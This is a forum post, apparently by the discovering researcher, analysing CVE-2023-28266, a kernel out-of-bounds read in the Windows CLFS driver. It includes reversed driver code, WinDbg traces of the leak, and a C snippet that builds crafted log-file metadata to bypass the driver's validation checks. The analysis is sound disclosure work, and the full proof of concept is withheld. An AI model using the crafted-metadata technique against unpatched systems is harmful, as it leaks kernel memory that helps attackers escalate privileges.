首页
社区
课程
招聘
[原创]CLFS信息泄露漏洞CVE-2023-28266分析
2023-8-6 15:27 12585

[原创]CLFS信息泄露漏洞CVE-2023-28266分析

2023-8-6 15:27
12585

引用

这篇文章的目的是介绍今年4月发布的CLFS信息泄露漏洞CVE-2023-28266分析.

目录

简介

文章结合了逆向代码和调试结果分析了CVE-2023-28266漏洞利用过程和漏洞成因.

CVE-2023-28266漏洞分析

CVE-2023-28266是笔者今年1月提交的一个关于CLFS文件系统驱动程序的信息泄露漏洞,漏洞公告发布于今年4月.信息泄露类型的漏洞属于间接利用类型并不能直接导致权限提升的结果,以普通用户触发漏洞可以实现内核态内存的越界读取,最终将泄露的数据写入CLFS容器文件(BLF格式)中,并在控制台输出中提供展示泄露的数据内容.
关于CLFS模块的基础知识读者可以查看相关引用节中的文章获取里面有详细介绍,请读者自行研究,本文只讨论CVE-2023-28266的相关利用细节.
CVE-2023-28266与其他CLFS漏洞中的符号表相关的关联数据关系不大,只存在于一个截断日志相关的过程调用中,下面我们来具体分析一下.
漏洞存在于一个名为的CClfsLogFcbPhysical::TruncateLogModifyStreams函数中,触发该函数需要增加一个Truncate Record的元数据块(Metadata Block),大小0x2800在最后一个元数据块后.从字面量分析来看这个元数据块的作用应该是用来截断clfs文件指定扇区数据到容器文件的作用.从逆向分析来看我们得到了一个结构体_CLFS_SECTOR_CHANGE用于表示需要截断的扇区的数据结构,截断数据存在于rgbSector字段大小为一个默认扇区大小也就是0x200.具体逆向结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
typedef struct __declspec(align(2)) _CLFS_SECTOR_CHANGE
{
    ULONG iSector;
    ULONG ulUnused;
    BYTE rgbSector[0x200];
}CLFS_SECTOR_CHANGE,*PCLFS_SECTOR_CHANGE;
typedef struct __declspec(align(8)) _CLFS_TRUNCATE_CLIENT_CHANGE
{
    CLFS_CLIENT_ID cidClient;
    CLFS_LSN lsn;
    CLFS_LSN lsnClient;
    CLFS_LSN lsnRestart;
    USHORT cLength;
    USHORT cOldLength;
    ULONG cSectors;
    CLFS_SECTOR_CHANGE rgSectors[0xb];
}CLFS_TRUNCATE_CLIENT_CHANGE, * PCLFS_TRUNCATE_CLIENT_CHANGE;
__int64 __fastcall CClfsLogFcbPhysical::TruncateLogModifyStreams(CClfsLogFcbPhysical *this, _CLFS_LOG_BLOCK_HEADER *loghdr, struct _CLFS_TRUNCATE_CONTEXT *trunctx, struct _CLFS_TRUNCATE_RECORD_HEADER *trunhdr)
{
//vulnerability code
struct _CLFS_LOG_BLOCK_HEADER * hdr = ExAllocatePoolWithTag(PagedPool, (unsigned __int64)chg->cLength << 9, 'sflC');
(_CLFS_TRUNCATE_RECORD_HEADER *) crdhdr =(&that->field_rgBlocks_30[4].pbImage->MajorVersion
                                                          + crawlast->RecordOffsets[0]);                                                      
CLFS_TRUNCATE_CLIENT_CHANGE * chg = (char *)crdhdr + crdhdr->coffClientChange_8);
while ( 1 )
  {
    nowlsn = idx;
    if ( idx >= chg->cLength )
      break;
    trunctx = (struct _CLFS_TRUNCATE_CONTEXT *)(0x208i64 * idx);
    if ( idx != *(ULONG *)((char *)&chg->rgSectors[0].iSector + (_QWORD)trunctx) )
      goto error;
    loghdr = &hdr[idx];
    rgbSector = (CLFS_SECTOR_CHANGE *)((char *)chg->rgSectors + (_QWORD)trunctx + 8);
    val4 = 4i64;
    do
    {
      *(_OWORD *)&loghdr->MajorVersion = *(_OWORD *)&rgbSector->iSector;
      *(_OWORD *)&loghdr->Flags = *(_OWORD *)&rgbSector->rgbSector[8];
      *(_OWORD *)&loghdr->NextLsn.offset.idxRecord = *(_OWORD *)&rgbSector->rgbSector[24];
      *(_OWORD *)&loghdr->RecordOffsets[2] = *(_OWORD *)&rgbSector->rgbSector[40];
      *(_OWORD *)&loghdr->RecordOffsets[6] = *(_OWORD *)&rgbSector->rgbSector[56];
      *(_OWORD *)&loghdr->RecordOffsets[10] = *(_OWORD *)&rgbSector->rgbSector[72];
      *(_OWORD *)&loghdr->RecordOffsets[14] = *(_OWORD *)&rgbSector->rgbSector[88];
      loghdr = (_CLFS_LOG_BLOCK_HEADER *)((char *)loghdr + 0x80);
      *(_OWORD *)&loghdr[-1].glag[384] = *(_OWORD *)&rgbSector->rgbSector[0x68];
      rgbSector = (_CLFS_SECTOR_CHANGE *)((char *)rgbSector + 0x80);
      --val4;
    }
    while ( val4 );
    ++idx;
  }
 //泄露的数据最终会通过CClfsLogFcbPhysical::WriteOneRawSectorSync写入容器文件
 Hresult  hr = CClfsLogFcbPhysical::WriteOneRawSectorSync(that, &v44, &v42, &hdr[lsnidx].MajorVersion, &chg->lsn, 1, v5);
}

触发截断日志扇区功能函数需首先要设置控制元数据块(Control Record)PCLFS_CONTROL_RECORD->cxTruncate.eTruncateState = ClfsTruncateStateModifyingStream,在进入这个函数前存在一个_CLFS_TRUNCATE_CLIENT_CHANGE结构体用于表示需要截断扇区个数chg->cLength,CLFS会根据这个指定的个数分配非分页缓冲区大小chg->cLength<<9也就是chg->cLength*0x200用于存放将要截断的扇区数据,从当前元数据块加上coffClientChange偏移量得到拷贝的基址写入缓冲区中,这里并没有对实际的Truncate Record的元数块据中指定扇区数据数量进行校验,导致可以越界读取到最后一个扇区的下一个扇区数据到缓冲区中,也就是说泄露下个内核池中的0x200大小的数据.一般情况下非分页池相邻的数据块都是有数据的,所以越界读取并不会导致BSOD.所有缓冲区的数据最后都会在CClfsLogFcbPhysical::WriteOneRawSectorSync写入CLFS容器文件,所以读取泄露数据对于调用者来说是可行的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
typedef struct _CLFS_TRUNCATE_RECORD_HEADER
{
    CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
    ULONG coffClientChange;
    ULONG coffOwnerPage;
} CLFS_TRUNCATE_RECORD_HEADER, * PCLFS_TRUNCATE_RECORD_HEADER;
__int64 __fastcall CClfsBaseFilePersisted::AcquireTruncateContext(CClfsBaseFilePersisted *this, unsigned int *val1, struct _CLFS_TRUNCATE_CONTEXT **trunctxret, _CLFS_TRUNCATE_RECORD_HEADER **offset, unsigned int *deleta)
{
     hr = CClfsBaseFile::AcquireMetadataBlock(this, 4i64, (__int64)v14, v15);
     hr = RtlULongSub(
             this->field_rgBlocks_30[4].pbImage->SignaturesOffset,
             this->field_rgBlocks_30[4].pbImage->RecordOffsets[0],
             deleta);        
      *offset = (_CLFS_TRUNCATE_RECORD_HEADER *)(&this->field_rgBlocks_30[4].pbImage->MajorVersion
                                               + crawlast->RecordOffsets[0]);
      ctrlrcdref = ctrlrcd;
      //判断eTruncateState是不是ClfsTruncateStateModifyingStream,然后进入CClfsLogFcbPhysical::TruncateLogModifyStreams
      *trunctxret = &ctrlrcd->cxTruncate;
}
//offset=CClfsBaseFilePersisted::AcquireTruncateContext参数deleta
unsigned __int8 __fastcall CClfsLogFcbPhysical::IsTruncatedRecordOffsetValid(CClfsLogFcbPhysical *this, _CLFS_TRUNCATE_RECORD_HEADER *trunhdr, unsigned int offset)
{
  unsigned int offOwnerPage; // ecx
  unsigned int offClientChange; // edx
  bool chk1; // cf
  bool chk2; // zf
 
  offOwnerPage = trunhdr->coffOwnerPage_c;
  if ( offOwnerPage < 0x10 )
    return 0;
  offClientChange = trunhdr->coffClientChange_8;
  if ( offClientChange < 0x10
    || offOwnerPage > offset
    || offClientChange > offset
    || offClientChange == offOwnerPage
    || offset - offOwnerPage < 0x1000
    || offset - offClientChange < 0x230 )
  {
    return 0;
  }
  chk1 = offOwnerPage < offClientChange;
  chk2 = offOwnerPage == offClientChange;
  if ( offOwnerPage < offClientChange )
  {
    if ( offClientChange - offOwnerPage < 0x1000 )
      return 0;
    chk1 = offOwnerPage < offClientChange;
    chk2 = offOwnerPage == offClientChange;
  }
  if ( chk1 || chk2 || offOwnerPage - offClientChange >= 0x230 )
    return 1;
  return 0;
}   
__int64 __fastcall CClfsLogFcbPhysical::ValidateTruncateRecord(CClfsLogFcbPhysical *this, struct _CLFS_TRUNCATE_RECORD_HEADER *hdr)
{
  __int64 offClientChange; // rax
  unsigned __int64 offOwnerPage; // r9
  CLFS_TRUNCATE_CLIENT_CHANGE *chg; // r8
  __int64 chg_cLength; // rax
  __int64 result; // rax
 
  offClientChange = hdr->coffClientChange_8;
  if ( offClientChange & 7
    || (offOwnerPage = hdr->coffOwnerPage_c, offOwnerPage & 7)
    || (chg = (CLFS_TRUNCATE_CLIENT_CHANGE *)((char *)hdr + offClientChange),
        chg_cLength = *(unsigned __int16 *)((char *)&hdr[2]+ offClientChange).cLength,
        chg->cSectors != (_DWORD)chg_cLength)
    || chg->cOldLength < (unsigned __int16)chg_cLength
    || chg->rgSectors[0].iSector
    || 0x208 * chg_cLength > offOwnerPage
    || chg->cidClient >= 0x7Cu )
  {
    result = 3222929421i64;
  }
  else
  {
    result = 0i64;
  }
  return result;
}
__int64 __fastcall ClfsDecodeBlockPrivate(_CLFS_LOG_BLOCK_HEADER *a1, unsigned int SectorCount, char sig, unsigned __int8 a4, unsigned int *a5)
{
    if ( (int)ULongAdd(SignaturesOffset, 2 * SectorCount, &plus) < 0 || (v11 & 7) != 0 || plus > blocksize )
    return 0xC01A000Ai64;
}

漏洞触发的整个调用过程首先根据Client符号表的cidClient获取TruncateContext上下文,所在元数据块大小0x2800,其实在这个函数之后确实存在对当前元数据块的CClfsLogFcbPhysical::IsTruncatedRecordOffsetValid进行第一步校验,判断CLFS_TRUNCATE_CONTEXT->eTruncateState是不是ClfsTruncateStateModifyingStream,然后进入CClfsLogFcbPhysical::TruncateLogModifyStreams对TruncateContext进行第二步校验,在CClfsLogFcbPhysical::ValidateTruncateRecord函数中.这里笔者总结出了一个绕过方式方法如下:逆向代码显示IsTruncatedRecordOffsetValid的参数offset来自与元数据块的SignaturesOffset+RecordOffsets[0]=27d0值,可以理解为这个值接近于整个元数据库块的结尾,因为一般情况下Signature会从最后一个扇区直到写入位于每个扇区的结尾,第一步校验经过排除法计算得出chk1 = offOwnerPage < offClientChange;
和 chk2 = offOwnerPage == offClientChange这2个都不能让它成立,参数offset位于整个元数据块长度减去0x30字节处,为了让offset - offOwnerPage < 0x1000且offset - offClientChange < 0x230不成立,只能让offOwnerPage - offClientChange >= 0x230成立,得出结论offset减去offOwnerPage和offClientChange都只能大于0x1000,而且它们的差值需要大于0x230,那么offClientChange就必须小于offset-1000-230值,采用0x1750- 0x238=1518可以是个合适的值.在第二步校验中0x208 * chg_cLength > offOwnerPage所以offOwnerPage必须大于0x2089=1248采用0x1750也符合要求;为什么采用TruncateContext元数据块大小0x2800原因是offClientChange=1518,0x2800-1518-70=1278,转换成扇区个数1278/208=9正好是9个,通过加减8个字节的微调让这些符号的边界都和扇区对齐,让最后一个PCLFS_SECTOR_CHANGE扇区的边界(90x208=1248)正好落在整个TruncateContext元数据块的结尾,1248+70+1518+sizeof(CLFS_TRUNCATE_CLIENT_CHANGE)=27f8(约等于2800).而越界读取没有对PCLFS_TRUNCATE_CLIENT_CHANGE->cLength进行校验导致读取数据越过了元数据块的边界,这里SignaturesOffset需要被clfs写入签名值,所以必须让他落在拷贝扇区数据的内存区域要不然会污染符号表的数据,在ClfsDecodeBlockPrivate中对这个值和CLFS_LOG_BLOCK_HEADER->TotalSectorCount组合也有校验需要绕过,笔者用的合适的SignaturesOffset值是元数据块大小TruncateContextlength-0x30.完整的绕过方法构造合适的值如下.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int TruncateContextlength = 0x2800;
  hd->SignaturesOffset = TruncateContextlength - 0x30;
  ULONGLONG trunc_record_ptr = (ULONGLONG)hd + hd->RecordOffsets[0];
  PCLFS_TRUNCATE_RECORD_HEADER trunhdr = (PCLFS_TRUNCATE_RECORD_HEADER)trunc_record_ptr;
  //size=10
  ULONG idx = 0xa;
  trunhdr->coffOwnerPage = 0x1750;
  //0x1750- 0x238=1518+70=1588
  trunhdr->coffClientChange = 0x1750 - 0x238;
  PCLFS_TRUNCATE_CLIENT_CHANGE trunchg = (PCLFS_TRUNCATE_CLIENT_CHANGE)(trunc_record_ptr + trunhdr->coffClientChange);
  trunchg->cSectors = idx;
  trunchg->cLength = idx;
  trunchg->cOldLength = 0x20;
  trunchg->cidClient = 0;
  //1588+28+*(208*9)
  for (int i = 0; i < idx; i++)
  {
      trunchg->rgSectors[i].iSector = i;
  }
  PCLFS_LOG_BLOCK_HEADER hdr = (PCLFS_LOG_BLOCK_HEADER)(&trunchg->rgSectors[0].rgbSector[0]);
  memcpy(hdr, hd, 0x200);
  hdr->TotalSectorCount = idx;
  hdr->ValidSectorCount = idx;
  hdr->Flags = 0;
  hdr->SignaturesOffset = (idx << 9) - 0x20;
  *(USHORT*)((ULONGLONG)hd + 0x200 - 2) = 0x0150;
  for (int i = 0x400; i < TruncateContextlength; i += 0x200)
  {
      *(USHORT*)((ULONGLONG)hd + i - 2) = 0x0110;
  }
  *(USHORT*)((ULONGLONG)hd + TruncateContextlength - 2) = 0x0130;
  return (BYTE*)trunchg;

CVE-2023-28266调试过程

下面我们来看调试过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
8: kd> bp CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams+0x127 ".if(rax==9){.echo found}.else{gc}"
breakpoint 0 hit
2: kd> r
rax=0000000000000009 rbx=0000000000000000 rcx=0000000000000009
rdx=ffff8b03d81ac200 rsi=ffff8b03d449d588 rdi=ffffa286d513e000
rip=fffff8076b76d74f rsp=fffff90c5c4c6f40 rbp=fffff90c5c4c7720
 r8=0000000000000000  r9=0000000000000080 r10=0000000000001001
r11=ffffa286d00d0000 r12=0000000000000000 r13=0000000000000200
r14=ffff8b03d81ab000 r15=ffffa286d5a7c960
iopl=0         nv up ei ng nz ac po cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams+0x127:
fffff807`6b76d74f 4c69c008020000  imul    r8,rax,208h
2: kd> !pool ffff8b03d449d588
Pool page ffff8b03d449d588 region is Paged pool
 
ffff8b03d449c000 doesn't look like a valid small pool allocation, checking to see
if the entire page is actually part of a large page allocation...
 
*ffff8b03d449c000 : large page allocation, tag is Clfs, size is 0x2800 bytes
        Pooltag Clfs : CLFS General buffer, or owner page lookaside list, Binary : clfs.sys
2: kd> r
8: kd> bp CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams+0x14e
//末尾 CLFS_SECTOR_CHANGE 在位置 27f8+8=2800  rax 寄存器位于下个pool;
Breakpoint 1 hit
2: kd> r
rax=ffff8b03d449e800 rbx=0000000000000000 rcx=0000000000000009
rdx=ffff8b03d81ac200 rsi=ffff8b03d449d588 rdi=ffffa286d513e000
rip=fffff8076b76d776 rsp=fffff90c5c4c6f40 rbp=fffff90c5c4c7720
 r8=0000000000000004  r9=0000000000000080 r10=0000000000001001
r11=ffffa286d00d0000 r12=0000000000000000 r13=0000000000000200
r14=ffff8b03d81ab000 r15=ffffa286d5a7c960
iopl=0         nv up ei ng nz ac po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040296
CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams+0x14e:
fffff807`6b76d776 0f1000          movups  xmm0,xmmword ptr [rax] ds:002b:ffff8b03`d449e800=ffff8b030000018ba0cb3280f59f0e82
2: kd> !pool ffff8b03d449e800
Pool page ffff8b03d449e800 region is Paged pool
 ffff8b03d449e810 size:  7c0 previous size:    0  (Allocated)  Toke
2: kd> ?ffff8b03d449e800-ffff8b03d449c000
Evaluate expression: 10240 = 00000000`00002800
//查看越界读取信息
2: kd> db ffff8b03d449e800
ffff8b03`d449e800  82 0e 9f f5 80 32 cb a0-8b 01 00 00 03 8b ff ff  .....2..........
ffff8b03`d449e810  00 6f 7c 03 54 6f 6b 65-08 a7 0e dc 03 8b ff ff  .o|.Toke........
ffff8b03`d449e820  00 10 00 00 5c 07 00 00-7c 00 00 00 00 00 00 00  ....\...|.......
ffff8b03`d449e830  c0 38 85 6c 07 f8 ff ff-00 00 00 00 00 00 00 00  .8.l............
ffff8b03`d449e840  08 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff8b03`d449e850  00 00 00 00 00 00 00 00-14 00 08 02 00 00 00 00  ................
ffff8b03`d449e860  c0 38 85 6c 07 f8 ff ff-e9 1d b4 da 03 8b ff ff  .8.l............
ffff8b03`d449e870  41 64 76 61 70 69 20 20-ab 5c 21 00 00 00 00 00  Advapi  .\!.....
8: kd> bp CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams+0x3d3
Breakpoint 2 hit
5: kd> r
rax=fffff90c5c4c6fa8 rbx=0000000000000000 rcx=ffffa286d513e000
rdx=fffff90c5c4c6fb0 rsi=0000000000000000 rdi=ffffa286d513e000
rip=fffff8076b76d9fb rsp=fffff90c5c4c6f40 rbp=fffff90c5c4c7720
 r8=fffff90c5c4c6fa0  r9=ffff8b03d81ab000 r10=ffff8b03d81ab000
r11=ffff8b03d81ac3f4 r12=000000000000000a r13=0000000000000200
r14=ffff8b03d81ab000 r15=ffffa286d5a7c960
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams+0x3d3:
fffff807`6b76d9fb e8ec1a0000      call    CLFS!CClfsLogFcbPhysical::WriteOneRawSectorSync (fffff807`6b76f4ec)
//r9是目标写入缓冲区,越界的偏移位置是0x1200 ,泄露信息一直.
5: kd> db ffff8b03d81ab000+1200
ffff8b03`d81ac200  82 0e 9f f5 80 32 cb a0-8b 01 00 00 03 8b ff ff  .....2..........
ffff8b03`d81ac210  00 6f 7c 03 54 6f 6b 65-08 a7 0e dc 03 8b ff ff  .o|.Toke........
ffff8b03`d81ac220  00 10 00 00 5c 07 00 00-7c 00 00 00 00 00 00 00  ....\...|.......
ffff8b03`d81ac230  c0 38 85 6c 07 f8 ff ff-00 00 00 00 00 00 00 00  .8.l............
ffff8b03`d81ac240  08 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff8b03`d81ac250  00 00 00 00 00 00 00 00-14 00 08 02 00 00 00 00  ................
ffff8b03`d81ac260  c0 38 85 6c 07 f8 ff ff-e9 1d b4 da 03 8b ff ff  .8.l............
ffff8b03`d81ac270  41 64 76 61 70 69 20 20-ab 5c 21 00 00 00 00 00  Advapi  .\!.....
//栈回溯
2: kd> kv
 # Child-SP          RetAddr               : Args to Child                                                           : Call Site
00 ffff9e0f`95883f80 fffff801`382cd0c3     : ffffde86`1f9a8000 00000000`0000000a ffffaf87`0ca1c0d8 ffffaf87`0ca1c001 : CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams+0x14e
01 ffff9e0f`95884050 fffff801`382aa1ba     : 00000000`00000000 ffffde86`21c44820 ffffde86`1f9a8000 ffffde86`1f9a8000 : CLFS!CClfsLogFcbPhysical::TruncateLog+0x8b
02 ffff9e0f`958840a0 fffff801`382722a9     : ffffde86`1f9a8000 ffffde86`21c44820 00000000`00002760 ffffaf87`0ca1c0d8 : CLFS!CClfsLogFcbPhysical::RecoverTruncateLog+0xae
03 ffff9e0f`95884100 fffff801`382a0d13     : ffffde86`1f9a8000 ffffde86`1f9a8038 ffffde86`1bef8a40 ffffde86`0012019f : CLFS!CClfsLogFcbPhysical::Initialize+0x80d
04 ffff9e0f`95884240 fffff801`382a276b     : ffffde86`1f978c70 00000000`00000001 00000000`00000007 fffff801`382a0000 : CLFS!CClfsRequest::Create+0x4ef
05 ffff9e0f`95884390 fffff801`382a2537     : ffffde86`1f978c70 ffff9e0f`95884588 ffffde86`18dcbd60 00000000`0012019f : CLFS!CClfsRequest::Dispatch+0x97
06 ffff9e0f`958843e0 fffff801`382a2487     : ffffde86`1f976b30 ffffde86`1f976b30 ffffde86`21c46668 00000000`000000c0 : CLFS!ClfsDispatchIoRequest+0x87
07 ffff9e0f`95884430 fffff801`3a22a715     : ffffde86`18dcbd60 00000000`6d4e6f49 ffffde86`1f0c3010 00000000`00000000 : CLFS!CClfsDriver::LogIoDispatch+0x27
08 ffff9e0f`95884460 fffff801`3a22bd14     : 00000000`00000003 ffffde86`1f976b30 00000000`6d4e6f49 fffff801`3a22b943 : nt!IofCallDriver+0x55
09 ffff9e0f`958844a0 fffff801`3a61acdd     : ffff9e0f`95884760 ffffde86`18dcbd60 ffffde86`21c46668 ffffde86`00000000 : nt!IoCallDriverWithTracing+0x34
0a ffff9e0f`958844f0 fffff801`3a602c0e     : ffffde86`18dcbd60 00000000`000000bd ffffde86`1bef8a20 ffffde86`1bef8a01 : nt!IopParseDevice+0x117d
0b ffff9e0f`95884660 fffff801`3a62d96a     : ffffde86`1bef8a00 ffff9e0f`958848c8 00007ffa`00000040 ffffde86`17ee0e80 : nt!ObpLookupObjectName+0x3fe
0c ffff9e0f`95884830 fffff801`3a677b9f     : 00000000`00000000 000000c7`748ff890 00000000`00000000 00000000`00000001 : nt!ObOpenObjectByNameEx+0x1fa
0d ffff9e0f`95884960 fffff801`3a677779     : 000000c7`748ff810 ffff9e0f`95884b80 000000c7`748ff890 000000c7`748ff880 : nt!IopCreateFile+0x40f
0e ffff9e0f`95884a00 fffff801`3a40caf5     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`08f0d180 : nt!NtCreateFile+0x79
0f ffff9e0f`95884a90 00007ffa`1efedb64     : 00007ffa`17a820a5 00000000`00000000 00000000`00000000 00000000`00008004 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff9e0f`95884b00)
10 000000c7`748ff798 00007ffa`17a820a5     : 00000000`00000000 00000000`00000000 00000000`00008004 00000000`00000003 : ntdll!NtCreateFile+0x14
11 000000c7`748ff7a0 00000000`00000000     : 00000000`00000000 00000000`00008004 00000000`00000003 00000000`00000000 : 0x00007ffa`17a820a5

设置第一个断点bp CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams+0x127 ".if(rax==9){.echo found}.else{gc}";
当迭代到拷贝第9个扇区数据时候,可以看到rsi指向当前TruncateContext指向元数据块内存区域,大小2800也就是拷贝的起始地址,再次下第二个断点bp CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams+0x14e发现rax=ffffde86f13e4800减去TruncateContext基址正好是0x2800,说明这次拷贝的起始地址已经到了当前pool的末尾,也就是说会越界拷贝一个扇区0x200大小的数据内容.
下第三个断点bp CLFS!CClfsLogFcbPhysical::TruncateLogModifyStreams+0x3d3,调用CLFS!CClfsLogFcbPhysical::WriteOneRawSectorSync函数r9指向要写入容器文件的全部缓冲区地址正好是9*0x200=0x1200;查看db ffff8b03d81ab000+1200数据内容得出的结论是与上一步越界读取rax指向的泄露信息内容是相同的.
接下来调用者就可以通过读取容器通过CLFS_TRUNCATE_CLIENT_CHANGE->lsn获取容器的符号表中对应容器默认第0个是CLFSCON01文件,在偏移量1200数据内容展示泄露信息,读取方法与读取普通文件相同,这里不再赘述.至此完成整个漏洞的利用过程.

漏洞复现

出于安全原因笔者不能提供完整的poc代码,下图是笔者在打了1月补丁的Windows1021h2虚拟机上成功复现了CVE-2023-28266

查看大图

相关引用

clfs逆向工程文档

CVE-2023-28252红雨滴分析

CVE-2023-28252安全客分析

CVE-2023-28252谷歌P0分析

CVE-2023-28252分析

CVE-2023-28252看雪分析2

CVE-2023-28252看雪分析2

CVE-2023-28252的poc

CVE-2022-24521分析第一篇

CVE-2022-24521分析第二篇

CVE-2022-24521分析第三篇

CVE-2022-24521分析第三篇原文

CVE-2022-3022分析

CVE-2022-24521分析谷p0

CVE-2022-37969分析第一部分

CVE-2022-37969分析第二部分

CVE-2022-37969分析中文第一篇

CVE-2023-28266漏洞致谢

参与贡献

作者来自ZheJiang Guoli Security Technology,邮箱cbwang505@hotmail.com


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞2
打赏
分享
最新回复 (4)
雪    币: 2576
活跃值: (437)
能力值: ( LV2,RANK:85 )
在线值:
发帖
回帖
粉丝
wyfe 2023-8-6 17:12
2
0
能成功复现还是不太容易,学习
雪    币: 19349
活跃值: (28971)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-8-6 20:57
3
1
感谢分享
雪    币: 220
活跃值: (626)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dayang 2023-8-6 22:24
4
0
现在已经看不见兼容性好的EXP发布了,,
游客
登录 | 注册 方可回帖
返回